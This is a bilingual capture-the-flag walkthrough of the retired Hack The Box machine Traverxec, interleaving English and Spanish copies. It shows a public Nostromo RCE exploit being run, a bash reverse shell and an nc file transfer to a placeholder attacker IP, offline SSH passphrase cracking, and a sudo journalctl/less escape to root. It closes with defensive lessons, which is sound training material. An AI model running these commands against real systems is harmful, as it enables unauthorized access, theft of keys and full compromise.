Traverxec
Executive summary — Traverxec is an Easy Linux box with three clean steps: an unauthenticated RCE in Nostromo 1.9.6 (CVE-2019-16278); a backup of
david's SSH key hidden on the server (with an encrypted passphrase cracked offline); and a textbook escalation viasudo journalctlthat — run without the| catthe legitimate script uses — opens thelesspager, from which you spawn a root shell. A Nostromo RCE → david's SSH backup → sudo journalctl → root path.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.1.246 |
Attack map
[80] nostromo 1.9.6
│ CVE-2019-16278 — path traversal → RCE (unauth)
▼
[www-data]
│ david's SSH key backup in protected-file-area
▼
[SSH] david (encrypted id_rsa → passphrase via john: "hunter") → user.txt
│ sudo journalctl -u nostromo.service (no pipe to cat → opens less)
▼
[ROOT] from less: !/bin/sh
1. Reconnaissance
nmap -sC -sV -p- 10.129.1.246
22/tcp open ssh
80/tcp open http nostromo 1.9.6
The clue: the web server is Nostromo 1.9.6, an uncommon server with a known public RCE — not a generic Apache/Nginx.
Resumen ejecutivo — Traverxec es un Linux Easy con tres pasos muy limpios: una RCE sin autenticación en Nostromo 1.9.6 (CVE-2019-16278); un backup de la clave SSH de
davidescondido en el servidor (con passphrase cifrada que se craquea offline); y una escalada de libro porsudo journalctl, que — si se ejecuta sin el| catque usa el script legítimo — abre el pagerless, desde el que se lanza una shell de root. Recorrido Nostromo RCE → backup SSH de david → sudo journalctl → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.1.246 |
Mapa del ataque
[80] nostromo 1.9.6
│ CVE-2019-16278 — path traversal → RCE (sin auth)
▼
[www-data]
│ backup de claves SSH de david en protected-file-area
▼
[SSH] david (id_rsa cifrada → passphrase con john: "hunter") → user.txt
│ sudo journalctl -u nostromo.service (sin el pipe a cat → abre less)
▼
[ROOT] desde less: !/bin/sh
1. Reconocimiento
nmap -sC -sV -p- 10.129.1.246
22/tcp open ssh
80/tcp open http nostromo 1.9.6
La pista: el servidor web es Nostromo 1.9.6, un servidor poco común y con una RCE pública conocida (no un Apache/Nginx genérico).
2. Preparing the exploit — CVE-2019-16278
What it is: a path traversal in Nostromo that, combined with its .pl/CGI handling, allows unauthenticated command execution. We grab the public exploit:
searchsploit nostromo 1.9.6
searchsploit -m 47837
The downloaded script (47837.py) shipped with a leftover debug line from the original author that breaks execution. We remove it without touching anything else:
grep -n cve2019_16278 47837.py
sed -i '/cve2019_16278.py/d' 47837.py
The exploit is written in Python 2. If the system defaults to Python 3, we switch to a 2.x environment with pyenv:
pyenv global 2.7.18
python --version
Python 2.7.18
3. Exploitation — from id to a reverse shell
Before spawning an interactive shell, we confirm the RCE with a harmless command:
python 47837.py 10.129.1.246 80 id
uid=33(www-data) gid=33(www-data)
With RCE confirmed, we set up a listener and fire a reverse shell:
nc -lvnp 4444
python 47837.py 10.129.1.246 80 "bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"
whoami → www-data
4. David's SSH key backup
Nostromo serves david's homedir under public_www. With a shell already in hand, there's no need to go through the server's basic auth: we walk the filesystem directly and find a backup of his SSH keys in the «protected» area:
cd /home/david/public_www/protected-file-area
ls -la
backup-ssh-identity-files.tgz
Nostromo also exposes a
.htpasswdwith a hash fordavidguarding that protected zone; cracked separately it gives the passwordNowonly4me. Careful: that's the.htpasswdweb password, not the SSH key passphrase — they are two distinct secrets and easy to mix up.
5. Transferring and extracting the backup
On our machine we open a listener and, from the reverse shell, send the .tgz over raw TCP:
# attacker:
nc -lvnp 9001 > backup.tgz
# victim (reverse shell):
nc <ATTACKER_IP> 9001 < backup-ssh-identity-files.tgz
With the file on our machine, we extract it:
tar -xzvf backup.tgz
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
home/david/.ssh/authorized_keys
6. Cracking the passphrase and logging in as david
The id_rsa is passphrase-encrypted. We extract its hash with ssh2john and crack it offline:
ssh2john home/david/.ssh/id_rsa > hash
john --wordlist=rockyou.txt hash
home/david/.ssh/id_rsa:hunter
With the passphrase (hunter) in hand, we fix permissions and log in over SSH:
chmod 600 home/david/.ssh/id_rsa
ssh -i home/david/.ssh/id_rsa david@10.129.1.246
cat /home/david/user.txt
7. Privilege enumeration — david's script
In his home directory, david has a script that checks the Nostromo service status, and it reveals the exact sudo command he's allowed to run:
cat /home/david/bin/server-stats.sh
/usr/bin/sudo /usr/bin/journalctl -n5 -u nostromo.service | /usr/bin/cat
The key detail: the script pipes the output to
| /usr/bin/cat, specifically to preventjournalctlfrom opening thelesspager. If we run the same command without that pipe, and make sure the output doesn't fit the terminal,journalctldoes invokeless— running as root.
8. Escalation — sudo journalctl + less (GTFOBins)
We shrink the terminal to a handful of lines tall (around 5) to force the output to overflow and trigger the pager, then run the command without the script's | cat:
sudo /usr/bin/journalctl -n5 -u nostromo.service
With less open (inheriting root privileges via sudo), we escape to a shell by typing, slowly, inside the pager itself:
!/bin/sh
#
id → uid=0(root)
9. Root flag
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | nostromo 1.9.6 | CVE-2019-16278 (path traversal → unauth RCE) | Shell as www-data |
| Lateral | Backup in the webroot | David's SSH keys backed up + crackable passphrase (hunter) | SSH as david |
| PrivEsc | sudo journalctl | Running it without the script's | cat opens less as root → !sh | Root |
Lessons learned
- Unpatched uncommon software (Nostromo) = public RCE. Inventory and update.
- Don't store SSH key backups in web-served folders, not even in areas «protected» by basic auth.
- Don't reuse or confuse secrets: the
.htpasswdpassword and the SSH key passphrase were different here; reusing them in a real environment would be the real failure. - Beware
sudoover programs with a pager (journalctl, man, less…): even if the «safe» wrapper script pipes to| catto avoid it, if sudoers allows the bare command, anyone can trigger the pager and escape to a shell (GTFOBins). - Encrypt private keys with a strong passphrase: a weak one (like
hunter) cracks offline in seconds with a common wordlist.
2. Preparar el exploit — CVE-2019-16278
Qué es: un path traversal en Nostromo que, combinado con su manejo de .pl/CGI, permite ejecutar comandos sin autenticación. Buscamos el exploit público:
searchsploit nostromo 1.9.6
searchsploit -m 47837
El script descargado (47837.py) traía una línea basura, un resto de depuración del autor original que rompe la ejecución. La quitamos sin tocar el resto del código:
grep -n cve2019_16278 47837.py
sed -i '/cve2019_16278.py/d' 47837.py
El exploit está escrito en Python 2. Si el sistema usa Python 3 por defecto, activamos un entorno 2.x con pyenv:
pyenv global 2.7.18
python --version
Python 2.7.18
3. Explotación — de id a reverse shell
Antes de lanzar una shell interactiva, confirmamos la RCE con un comando inofensivo:
python 47837.py 10.129.1.246 80 id
uid=33(www-data) gid=33(www-data)
Confirmado el RCE, montamos el listener y disparamos una reverse shell:
nc -lvnp 4444
python 47837.py 10.129.1.246 80 "bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"
whoami → www-data
4. Backup de la clave SSH de david
Nostromo sirve el homedir de david bajo public_www. Con shell ya dentro, no hace falta pasar por la autenticación básica del servidor: recorremos el filesystem directamente y encontramos un backup de sus claves SSH en el área «protegida»:
cd /home/david/public_www/protected-file-area
ls -la
backup-ssh-identity-files.tgz
Nostromo también expone un
.htpasswdcon un hash del usuariodavidpara esa zona protegida; craqueado por separado da la contraseñaNowonly4me. Ojo: esa es la contraseña del.htpasswdweb, no la passphrase de la clave SSH — son dos secretos distintos y es fácil confundirlos.
5. Transferir y extraer el backup
En nuestra máquina levantamos un listener y, desde la reverse shell, enviamos el .tgz por TCP crudo:
# atacante:
nc -lvnp 9001 > backup.tgz
# víctima (reverse shell):
nc <ATTACKER_IP> 9001 < backup-ssh-identity-files.tgz
Con el fichero ya en nuestra máquina, lo extraemos:
tar -xzvf backup.tgz
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
home/david/.ssh/authorized_keys
6. Crackear la passphrase y entrar como david
La id_rsa está cifrada con passphrase. Extraemos su hash con ssh2john y lo craqueamos offline:
ssh2john home/david/.ssh/id_rsa > hash
john --wordlist=rockyou.txt hash
home/david/.ssh/id_rsa:hunter
Con la passphrase (hunter) en mano, ajustamos permisos y entramos por SSH:
chmod 600 home/david/.ssh/id_rsa
ssh -i home/david/.ssh/id_rsa david@10.129.1.246
cat /home/david/user.txt
7. Enumeración de privilegios — el script de david
En su carpeta personal, david tiene un script propio que revisa el estado del servicio Nostromo, y en él aparece la orden sudo que puede ejecutar:
cat /home/david/bin/server-stats.sh
/usr/bin/sudo /usr/bin/journalctl -n5 -u nostromo.service | /usr/bin/cat
El detalle clave: el script canaliza la salida a
| /usr/bin/cat, precisamente para evitar quejournalctlabra el pagerless. Si nosotros ejecutamos la misma orden sin ese pipe, y conseguimos que la salida no quepa en la terminal,journalctlsí invocaless— corriendo como root.
8. Escalada — sudo journalctl + less (GTFOBins)
Reducimos la terminal a pocas líneas de alto (unas 5) para forzar que la salida no quepa y se abra el pager, y lanzamos la orden sin el | cat del script:
sudo /usr/bin/journalctl -n5 -u nostromo.service
Con less abierto (heredando privilegios de root vía sudo), escapamos a una shell escribiendo, despacio, dentro del propio pager:
!/bin/sh
#
id → uid=0(root)
9. Root flag
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | nostromo 1.9.6 | CVE-2019-16278 (path traversal → RCE sin auth) | Shell como www-data |
| Mov. lateral | Backup en el webroot | Claves SSH de david respaldadas + passphrase crackeable (hunter) | SSH como david |
| PrivEsc | sudo journalctl | Ejecutar sin el | cat del script abre less como root → !sh | Root |
Lecciones aprendidas
- Software raro sin parchear (Nostromo) = RCE pública. Inventaria y actualiza.
- No guardes backups de claves SSH en carpetas servidas por la web, ni siquiera en zonas «protegidas» por autenticación básica.
- No reutilices ni confundas secretos: la contraseña del
.htpasswdy la passphrase de la clave SSH eran distintas; en un entorno real, reutilizarlas habría sido el fallo real. - Cuidado con
sudosobre programas con pager (journalctl, man, less…): aunque el script «seguro» use| catpara evitarlo, sisudoerspermite la orden pelada, cualquiera puede invocar el pager y escapar a shell (GTFOBins). - Cifra las claves privadas con passphrase fuerte: una débil (como
hunter) se craquea offline en segundos con una wordlist común.